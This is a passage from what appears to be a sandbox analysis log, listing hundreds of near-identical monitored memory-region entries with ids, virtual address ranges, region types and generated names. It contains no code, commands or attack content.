= "" Region: id = 9966 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9967 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9968 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9969 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9970 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9971 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9972 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9973 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9974 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9976 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9977 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9978 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9979 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9981 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9982 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9983 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9984 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9985 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9986 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9987 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9988 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9989 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9990 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9991 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9992 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9993 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9994 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9995 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9996 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9997 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9998 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 9999 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10000 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10001 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10002 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10003 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10004 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10005 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10006 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10007 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10008 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10009 start_va = 0x2900000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 10010 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10011 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10012 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10013 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10014 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10015 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10016 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10017 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10018 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10019 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10020 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10021 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10022 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10023 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10024 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10025 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10026 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10027 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10028 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10029 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10030 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10031 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10032 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10033 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10034 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10035 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10036 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10037 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10038 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10039 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10040 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10041 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10042 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10043 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10044 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10045 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10046 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10047 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10048 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10049 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10050 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10051 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10052 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10053 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10054 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10055 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10056 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10058 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10059 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10060 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10061 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10062 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10064 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10065 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10066 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10067 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10068 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10069 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10070 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10071 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10072 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10073 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10074 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10075 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10076 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10077 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10078 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10079 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10080 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10081 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10082 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10083 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10084 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10085 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10086 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10087 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10088 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10089 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10090 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10091 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10092 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10093 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10094 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10095 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10096 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10097 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10098 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10099 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10100 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10101 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10102 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10103 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10104 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10105 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10106 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10107 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10108 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10109 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10110 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10111 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10112 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10113 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10114 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10115 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10116 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10117 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10118 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10119 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10120 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10121 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10122 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10123 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10124 start_va = 0x23c0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 10125 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10126 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10127 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10128 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10129 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10130 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10131 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10132 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10133 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10134 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10135 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10136 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10137 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10138 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10139 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10140 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10141 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10142 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10143 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10144 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10145 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10146 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10147 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10148 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10149 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10150 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10152 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10153 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10154 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 